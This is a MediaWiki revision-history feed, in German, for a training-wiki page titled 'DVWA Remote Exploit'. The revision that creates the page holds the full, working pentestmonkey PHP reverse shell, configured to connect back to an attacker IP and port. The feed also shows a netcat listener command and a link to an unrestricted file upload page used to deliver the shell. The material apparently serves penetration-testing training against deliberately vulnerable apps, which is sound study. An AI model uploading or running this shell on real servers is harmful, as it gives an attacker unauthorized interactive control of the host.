<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=DVWA_Remote_Exploit</id>
	<title>DVWA Remote Exploit - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=DVWA_Remote_Exploit"/>
	<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=DVWA_Remote_Exploit&amp;action=history"/>
	<updated>2026-06-28T19:52:22Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=DVWA_Remote_Exploit&amp;diff=24248&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde geleert.</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=DVWA_Remote_Exploit&amp;diff=24248&amp;oldid=prev"/>
		<updated>2021-06-16T20:55:25Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde geleert.&lt;/p&gt;
&lt;a href=&quot;//wiki.ixheim.de/index.php?title=DVWA_Remote_Exploit&amp;amp;diff=24248&amp;amp;oldid=24243&quot;&gt;Änderungen zeigen&lt;/a&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=DVWA_Remote_Exploit&amp;diff=24243&amp;oldid=prev</id>
		<title>Thomas.will: /* Angreifer */</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=DVWA_Remote_Exploit&amp;diff=24243&amp;oldid=prev"/>
		<updated>2021-06-16T20:50:20Z</updated>

		<summary type="html">&lt;p&gt;&lt;span dir=&quot;auto&quot;&gt;&lt;span class=&quot;autocomment&quot;&gt;Angreifer&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;de&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Nächstältere Version&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Version vom 16. Juni 2021, 20:50 Uhr&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l2&quot; &gt;Zeile 2:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Zeile 2:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;;IP  : 10.81.70.249&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;;IP  : 10.81.70.249&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;;PORT: 1234&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;;PORT: 1234&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;;Befehl&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*netcat  -lp 1234^C&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*netcat  -lp 1234^C&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;=Unrestricted File Upload=&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;=Unrestricted File Upload=&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*https://owasp.willux.de/mutillidae/index.php?page=upload-file.php&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*https://owasp.willux.de/mutillidae/index.php?page=upload-file.php&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=DVWA_Remote_Exploit&amp;diff=24242&amp;oldid=prev</id>
		<title>Thomas.will am 16. Juni 2021 um 20:50 Uhr</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=DVWA_Remote_Exploit&amp;diff=24242&amp;oldid=prev"/>
		<updated>2021-06-16T20:50:05Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;de&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Nächstältere Version&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Version vom 16. Juni 2021, 20:50 Uhr&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l1&quot; &gt;Zeile 1:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Zeile 1:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;=Angreifer=&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;;IP  : 10.81.70.249&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;;PORT: 1234&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;*netcat  -lp 1234^C&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;=Unrestricted File Upload=&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;=Unrestricted File Upload=&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*https://owasp.willux.de/mutillidae/index.php?page=upload-file.php&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*https://owasp.willux.de/mutillidae/index.php?page=upload-file.php&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=DVWA_Remote_Exploit&amp;diff=24241&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde neu angelegt: „=Unrestricted File Upload= *https://owasp.willux.de/mutillidae/index.php?page=upload-file.php =PHP Remote Shell= &lt;pre&gt; &lt;?php // php-reverse-shell - A Reverse S…“</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=DVWA_Remote_Exploit&amp;diff=24241&amp;oldid=prev"/>
		<updated>2021-06-16T20:47:29Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „=Unrestricted File Upload= *https://owasp.willux.de/mutillidae/index.php?page=upload-file.php =PHP Remote Shell= &amp;lt;pre&amp;gt; &amp;lt;?php // php-reverse-shell - A Reverse S…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;=Unrestricted File Upload=&lt;br /&gt;
*https://owasp.willux.de/mutillidae/index.php?page=upload-file.php&lt;br /&gt;
=PHP Remote Shell=&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
// php-reverse-shell - A Reverse Shell implementation in PHP&lt;br /&gt;
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net&lt;br /&gt;
//&lt;br /&gt;
// This tool may be used for legal purposes only.  Users take full responsibility&lt;br /&gt;
// for any actions performed using this tool.  The author accepts no liability&lt;br /&gt;
// for damage caused by this tool.  If these terms are not acceptable to you, then&lt;br /&gt;
// do not use this tool.&lt;br /&gt;
//&lt;br /&gt;
// In all other respects the GPL version 2 applies:&lt;br /&gt;
//&lt;br /&gt;
// This program is free software; you can redistribute it and/or modify&lt;br /&gt;
// it under the terms of the GNU General Public License version 2 as&lt;br /&gt;
// published by the Free Software Foundation.&lt;br /&gt;
//&lt;br /&gt;
// This program is distributed in the hope that it will be useful,&lt;br /&gt;
// but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt;
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&lt;br /&gt;
// GNU General Public License for more details.&lt;br /&gt;
//&lt;br /&gt;
// You should have received a copy of the GNU General Public License along&lt;br /&gt;
// with this program; if not, write to the Free Software Foundation, Inc.,&lt;br /&gt;
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.&lt;br /&gt;
//&lt;br /&gt;
// This tool may be used for legal purposes only.  Users take full responsibility&lt;br /&gt;
// for any actions performed using this tool.  If these terms are not acceptable to&lt;br /&gt;
// you, then do not use this tool.&lt;br /&gt;
//&lt;br /&gt;
// You are encouraged to send comments, improvements or suggestions to&lt;br /&gt;
// me at pentestmonkey@pentestmonkey.net&lt;br /&gt;
//&lt;br /&gt;
// Description&lt;br /&gt;
// -----------&lt;br /&gt;
// This script will make an outbound TCP connection to a hardcoded IP and port.&lt;br /&gt;
// The recipient will be given a shell running as the current user (apache normally).&lt;br /&gt;
//&lt;br /&gt;
// Limitations&lt;br /&gt;
// -----------&lt;br /&gt;
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+&lt;br /&gt;
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.&lt;br /&gt;
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.&lt;br /&gt;
//&lt;br /&gt;
// Usage&lt;br /&gt;
// -----&lt;br /&gt;
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.&lt;br /&gt;
&lt;br /&gt;
set_time_limit (0);&lt;br /&gt;
$VERSION = &amp;quot;1.0&amp;quot;;&lt;br /&gt;
$ip = '10.81.70.249';  // CHANGE THIS&lt;br /&gt;
$port = 1234;       // CHANGE THIS&lt;br /&gt;
$chunk_size = 1400;&lt;br /&gt;
$write_a = null;&lt;br /&gt;
$error_a = null;&lt;br /&gt;
$shell = 'uname -a; w; id; /bin/sh -i';&lt;br /&gt;
$daemon = 0;&lt;br /&gt;
$debug = 0;&lt;br /&gt;
&lt;br /&gt;
//&lt;br /&gt;
// Daemonise ourself if possible to avoid zombies later&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// pcntl_fork is hardly ever available, but will allow us to daemonise&lt;br /&gt;
// our php process and avoid zombies.  Worth a try...&lt;br /&gt;
if (function_exists('pcntl_fork')) {&lt;br /&gt;
        // Fork and have the parent process exit&lt;br /&gt;
        $pid = pcntl_fork();&lt;br /&gt;
&lt;br /&gt;
        if ($pid == -1) {&lt;br /&gt;
                printit(&amp;quot;ERROR: Can't fork&amp;quot;);&lt;br /&gt;
                exit(1);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        if ($pid) {&lt;br /&gt;
                exit(0);  // Parent exits&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        // Make the current process a session leader&lt;br /&gt;
        // Will only succeed if we forked&lt;br /&gt;
        if (posix_setsid() == -1) {&lt;br /&gt;
                printit(&amp;quot;Error: Can't setsid()&amp;quot;);&lt;br /&gt;
                exit(1);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        $daemon = 1;&lt;br /&gt;
} else {&lt;br /&gt;
        printit(&amp;quot;WARNING: Failed to daemonise.  This is quite common and not fatal.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Change to a safe directory&lt;br /&gt;
chdir(&amp;quot;/&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// Remove any umask we inherited&lt;br /&gt;
umask(0);&lt;br /&gt;
&lt;br /&gt;
//&lt;br /&gt;
// Do the reverse shell...&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Open reverse connection&lt;br /&gt;
$sock = fsockopen($ip, $port, $errno, $errstr, 30);&lt;br /&gt;
if (!$sock) {&lt;br /&gt;
        printit(&amp;quot;$errstr ($errno)&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Spawn shell process&lt;br /&gt;
$descriptorspec = array(&lt;br /&gt;
   0 =&amp;gt; array(&amp;quot;pipe&amp;quot;, &amp;quot;r&amp;quot;),  // stdin is a pipe that the child will read from&lt;br /&gt;
   1 =&amp;gt; array(&amp;quot;pipe&amp;quot;, &amp;quot;w&amp;quot;),  // stdout is a pipe that the child will write to&lt;br /&gt;
   2 =&amp;gt; array(&amp;quot;pipe&amp;quot;, &amp;quot;w&amp;quot;)   // stderr is a pipe that the child will write to&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
$process = proc_open($shell, $descriptorspec, $pipes);&lt;br /&gt;
&lt;br /&gt;
if (!is_resource($process)) {&lt;br /&gt;
        printit(&amp;quot;ERROR: Can't spawn shell&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Set everything to non-blocking&lt;br /&gt;
// Reason: Occsionally reads will block, even though stream_select tells us they won't&lt;br /&gt;
stream_set_blocking($pipes[0], 0);&lt;br /&gt;
stream_set_blocking($pipes[1], 0);&lt;br /&gt;
stream_set_blocking($pipes[2], 0);&lt;br /&gt;
stream_set_blocking($sock, 0);&lt;br /&gt;
&lt;br /&gt;
printit(&amp;quot;Successfully opened reverse shell to $ip:$port&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
while (1) {&lt;br /&gt;
        // Check for end of TCP connection&lt;br /&gt;
        if (feof($sock)) {&lt;br /&gt;
                printit(&amp;quot;ERROR: Shell connection terminated&amp;quot;);&lt;br /&gt;
                break;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        // Check for end of STDOUT&lt;br /&gt;
        if (feof($pipes[1])) {&lt;br /&gt;
                printit(&amp;quot;ERROR: Shell process terminated&amp;quot;);&lt;br /&gt;
                break;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        // Wait until a command is end down $sock, or some&lt;br /&gt;
        // command output is available on STDOUT or STDERR&lt;br /&gt;
        $read_a = array($sock, $pipes[1], $pipes[2]);&lt;br /&gt;
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);&lt;br /&gt;
&lt;br /&gt;
        // If we can read from the TCP socket, send&lt;br /&gt;
        // data to process's STDIN&lt;br /&gt;
        if (in_array($sock, $read_a)) {&lt;br /&gt;
                if ($debug) printit(&amp;quot;SOCK READ&amp;quot;);&lt;br /&gt;
                $input = fread($sock, $chunk_size);&lt;br /&gt;
                if ($debug) printit(&amp;quot;SOCK: $input&amp;quot;);&lt;br /&gt;
                fwrite($pipes[0], $input);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        // If we can read from the process's STDOUT&lt;br /&gt;
        // send data down tcp connection&lt;br /&gt;
        if (in_array($pipes[1], $read_a)) {&lt;br /&gt;
                if ($debug) printit(&amp;quot;STDOUT READ&amp;quot;);&lt;br /&gt;
                $input = fread($pipes[1], $chunk_size);&lt;br /&gt;
                if ($debug) printit(&amp;quot;STDOUT: $input&amp;quot;);&lt;br /&gt;
                fwrite($sock, $input);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        // If we can read from the process's STDERR&lt;br /&gt;
        // send data down tcp connection&lt;br /&gt;
        if (in_array($pipes[2], $read_a)) {&lt;br /&gt;
                if ($debug) printit(&amp;quot;STDERR READ&amp;quot;);&lt;br /&gt;
                $input = fread($pipes[2], $chunk_size);&lt;br /&gt;
                if ($debug) printit(&amp;quot;STDERR: $input&amp;quot;);&lt;br /&gt;
                fwrite($sock, $input);&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
fclose($sock);&lt;br /&gt;
fclose($pipes[0]);&lt;br /&gt;
fclose($pipes[1]);&lt;br /&gt;
fclose($pipes[2]);&lt;br /&gt;
proc_close($process);&lt;br /&gt;
&lt;br /&gt;
// Like print, but does nothing if we've daemonised ourself&lt;br /&gt;
// (I can't figure out how to redirect STDOUT like a proper daemon)&lt;br /&gt;
function printit ($string) {&lt;br /&gt;
        if (!$daemon) {&lt;br /&gt;
                print &amp;quot;$string\n&amp;quot;;&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
</feed>